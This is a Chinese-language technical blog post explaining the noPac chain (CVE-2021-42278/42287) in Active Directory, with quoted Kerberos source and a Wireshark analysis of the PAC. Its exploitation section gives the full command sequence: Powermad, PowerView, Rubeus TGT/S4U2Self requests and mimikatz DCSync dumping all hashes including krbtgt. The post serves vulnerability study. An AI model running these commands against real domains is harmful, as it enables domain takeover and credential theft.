noPac 分析
本文主要记录了通过 WireShark 解开 Kerberos 协议对 noPac 漏洞进行详细分析.
漏洞简介
noPac 其实是两个漏洞的组合利用:
-
首先利用了 CVE-2021-42278 漏洞, 这个漏洞使用 sAMAccountName 欺骗冒充域控.
-
接着利用了 CVE-2021-42287 漏洞, 这个漏洞主要是会在查找不到用户时在其 sAMAccountName 结尾加入 $ 继续查询.
漏洞原理
-
创建计算机帐户, 清除创建的计算机帐户的 SPN (servicePrincipalName).
-
将创建的计算机帐户的 sAMAccountName 更改为域控的主机名, 注意后面不带 $ 符号 (如: DC) —> CVE-2021-42278.
-
为创建的计算机帐户申请 TGT.
-
恢复创建的计算机帐户的 sAMAccountName 值 (随便命名均可).
-
使用创建的计算机帐户获取到的 TGT 向域控发起 S4U2Self 请求 ST —> CVE-2021-42287.
-
使用获取到的 ST 进行 DCSync 攻击等 …
sAMAccountName
在域中每一个用户即是一个对象, 每个对象都具有各种各样的属性, 其中就包括姓名, 创建时间, 邮箱地址等关于这个用户的信息, 而每个域用户的用户名对应的属性值便为 userPrincipalName 和 sAMAccountName.
那为什么是两个呢?因为在 Windows 2000 之前使用的是 sAMAccountName, 在 Windows 2000 之后出现了新的属性 UserPrincipalName (UPN), 它也可以用来登录到域内主机, 这两个现在都可以作为登录用户名使用.
我们可以连接 ldap 进行查看域用户 wangxiaohong 的 sAMAccountName 值为 wangxiaohong, 平时常使用 “域名\用户名” 的格式来登录, UserPrincipalName 值为 wangxiaohong@missyou.com 为 “用户名@域名” 的格式.
CVE-2021-42278 - sAMAccountName spoofing
为了区分用户帐户和计算机帐户, 计算机帐户应在其 sAMAccountName 属性中以 $ 结尾. 但 Active Directory 并未对计算机帐户 sAMAccountName 属性进行验证.
在默认设置下以及未打补丁时, 普通用户最多能创建 10 个计算机帐户, 作为其所有者, 用户也有权编辑其创建的计算机帐户的 sAMAccountName 属性.
域用户 ligang 的 sAMAccountName 为 ligang.
计算机帐户 win-2008r2-2 的 sAMAccountName 为 WIN-2008r2-2$.
CVE-2021-42287 - KDC bamboozling
这个漏洞主要是欺骗 KDC.
使用 Kerberos 执行身份验证时, 会从密钥分发中心 (KDC) 请求 TGT 和 ST, 如果为无法找到的帐户请求 ST, KDC 将尝在其 sAMAccountName 结尾添加 $ 再次搜索.
例如: 如果有一个 sAMAccountName 为 DC$ 的域控, 攻击者创建一个新的计算机帐户并将其 sAMAccountName 重命名为 DC, 请求 TGT, 之后恢复创建的计算机帐户的 sAMAccountName, 并使用请求到的 TGT 去请求一个 ST, 在处理 ST 请求时, KDC 将无法查找到计算机帐户 DC, 因此, KDC 将在其结尾处添加 $ (此时就变成了域控计算机帐户 DC$) 进行另一次查找, 查找将成功, 因此, KDC 将使用 DC$ 的权限签发 ST.
这里需要用到 S4U2Self 和 PAC 的相关知识, 建议先了解再来跟进 noPac 漏洞.
从 XP 源码看相关函数如下:
可以看到, 当找不到用户时, 系统并不会直接提示找不到帐户, 而是会在其后面添加 $ 符号, 将其作为计算机帐户再次查找.
Status = SamIGetUserLogonInformation2(
GlobalAccountDomainHandle,
LookupFlags,
UserName,
WhichFields,
ExtendedFields,
&UserInfo,
&LocalMembership,
&LocalUserHandle
);
//
// WASBUG: For now, if we couldn't find the account try again
// with a '$' at the end (if there wasn't one already)
//
if (((Status == STATUS_NOT_FOUND) ||
(Status == STATUS_NO_SUCH_USER)) &&
(!IsValidGuid) &&
((LookupFlags & ~SAM_NO_MEMBERSHIPS) == 0) &&
(UserName->Length >= sizeof(WCHAR)) &&
(UserName->Buffer[UserName->Length/sizeof(WCHAR)-1] != L'$'))
{
Status = KerbDuplicateString(
&TempString,
UserName
);
if (!NT_SUCCESS(Status))
{
KerbErr = KRB_ERR_GENERIC;
goto Cleanup;
}
DsysAssert(TempString.MaximumLength >= TempString.Length + sizeof(WCHAR));
TempString.Buffer[TempString.Length/sizeof(WCHAR)] = L'$';
TempString.Length += sizeof(WCHAR);
D_DebugLog((DEB_TRACE, "Account not found , trying 计算机帐户 %wZ\n",
&TempString ));
Status = SamIGetUserLogonInformation2(
GlobalAccountDomainHandle,
LookupFlags,
&TempString,
WhichFields,
ExtendedFields,
&UserInfo,
&LocalMembership,
&LocalUserHandle
);
}
利用过程
新增计算机帐户
利用 Powermad.ps1 新增计算机帐户.
New-MachineAccount -MachineAccount "test1a" -Domain "missyou.com" -DomainController "DC.missyou.com" -Verbose
清除新增的计算机帐户的 SPN
如果是通过 Impacket 中的 addcomputer.py 添加的计算机帐户默认不会包含SPN, 所以可省略清除 SPN 的步骤.
利用 PowerView.ps1 清除新增的计算机帐户的 SPN.
Set-DomainObject "CN=test1a, CN=Computers, DC=missyou, DC=com" -Clear 'servicePrincipalName' -DomainController "DC.missyou.com" -Verbose
当计算机帐户创建时便默认携带了 SPN, 如果修改了 sAMAccountName, dNSHostName 或 msDS-AdditionalsAMAccountName 其中的一个, 那么 SPN 将会使用新值替换. 要是修改了 sAMAccountName 为域控的主机名, 那么其 SPN 将会变成域控的 SPN, Kerberos 身份验证使用它来将服务实例与服务登录帐户相关联, SPN 在注册它的林中必须是唯一的. 如果它不唯一, 身份验证将失败, 域控也不会处理这样的请求, 会报错: 使用 “0” 个参数调用 “SetInfo” 时发生异常: “该服务器不愿意处理该请求.”
但如果 SPN 在设置 sAMAccountName, dNSHostName 或 msDS-AdditionalsAMAccountName 属性之前已被删除, 那么 SPN 列表将不会更新, 除非再次给 servicePrincipalName 字段赋值. 所以在修改 sAMAccountName 前删除其 SPN 属性.
更改计算机帐户的 sAMAccountName
利用 Powermad.ps1 更改创建的计算机帐户的 sAMAccountName 为域控的主机名, 注意这里不带 $.
Set-MachineAccountAttribute -MachineAccount "test1a" -Value "DC" -Attribute 'sAMAccountName' -DomainController "DC.missyou.com" -Verbose
之所以不带 $ , 是由于 CVE-2021-42278 漏洞, 且域用户对其创建的计算机帐户有 “WriteProperty” 权限, 所以 sAMAccountName 可以修改其为任意值, 只要不与域内其他 sAMAccountName 重复就行.
域控的 sAMAccountName 为 DC$, 如果修改为带 $ 会导致 sAMAccountName 冲突, 修改失败, 报错: 使用 “0” 个参数调用 “SetInfo” 时发生异常: “对象已存在.”
利用 PowerView.ps1 验证: 域用户对其创建的计算机帐户 sAMAccountName 对象有 “WriteProperty” 权限.
ConvertTo-SID "missyou\ligang"
Get-DomainObjectAcl -Identity test1a -domain missyou.com -ResolveGUIDs
而计算机帐户本身对其 sAMAccountName 对象是无 “WriteProperty” 权限的.
使用创建的计算机帐户申请 TGT
此处申请的 TGT 并不是域控计算机帐户的 TGT, 当把创建的计算机帐户的 sAMAccountName 修改为 DC 的主机名 (DC)之后, 域控只会生成一个属于该计算机帐户 (DC) 的 TGT . (而域控计算机户的 sAMAccountName 为 DC$).
Rubeus3.5.exe asktgt /user:"DC" /password:"123" /domain:"missyou.com" /dc:"DC.missyou.com" /outfile:dc.kirbi
恢复计算机帐户的 sAMAccountName
利用 Powermad.ps1 恢复更改计算机帐户的 sAMAccountName 为 test1a$.
Set-MachineAccountAttribute -MachineAccount "test1a" -Value "test1a$" -Attribute 'sAMAccountName' -DomainController "DC.missyou.com" -Verbose
获取 ST
在这步我们向域控发起 S4U2Self 请求, 这里就设计到一个 KDC 的漏洞 CVE-2021-42287.
如果 Administrator 被禁用, 就使用其他域管用户.
Rubeus3.5.exe s4u /ticket:dc.kirbi /impersonateuser:"Administrator" /altservice:"LDAP/DC.missyou.com" /dc:"DC.missyou.com" /ptt /self
DCSync
- 使用 mimikatz 获取域内的所有用户帐户和计算机帐户的 NT Hash.
mimikatz # lsadump::DCSync /domain:missyou.com /kdc:DC.missyou.com /csv /all
- 指定用户获取其 Hash.
mimikatz # lsadump::DCSync /domain:missyou.com /kdc:DC.missyou.com /user:krbtgt
WireShark 分析
AS-REQ
这里发出 AS-REQ 请求的帐户是我们创建的计算机帐户, 并且 sAMAccountName 已经修改为 DC (不带 $).
AS-REP
这里主要看下 PAC, 可以看到此时还是没有任何问题的, 权限还是我们创建的这个计算机帐户的权限, Acct Name: DC (创建的计算机帐户更改后的 sAMAccountName), Group RID: 515 (Domain Computers) 组.
TGS-REQ
这里是通过 S4U2Self 模拟 Administrator 用户请求 LDAP 服务的 ST.
注意 TGS-REQ 会携带 AS-REP 中的 TGT, 到这里也是没有任何问题的.
TGS-REP
这里就关注 ST 中的 PAC 就好了.
可以看到现在此时 PAC 已经是高权限了, Group RID: 512 (域管组).
这里就是因为我们恢复了创建的计算机帐户的 sAMAccountName 为 test1a$ (恢复前为 DC), 致使 TGS 找不到 sAMAccountName 为 DC 的帐户, 便会在 DC 结尾处添加 $ 变成域控的计算机帐户 DC$, 而我们又是通过 S4U2Self 模拟域管 Administrator 去申请访问 LDAP 服务的 ST, 那么域控本身的计算机帐户肯定有权限创建通过 S4U2Self 申请的 ST, PAC 中的身份也是 “高权身份”.
感谢耐心阅读, 文章仅供参考, 本人学艺不精, 不足之处欢迎师傅们指点和纠正!
工具
出于对 noPac 的原理学习, 在 cube0x0 的项目 基础上进行了一些更改, 并在源码中添加了个人的理解注释. 项目地址: https://github.com/TryA9ain/noPac.
参考
CVE-2021-42287 Windows域内提权漏洞分析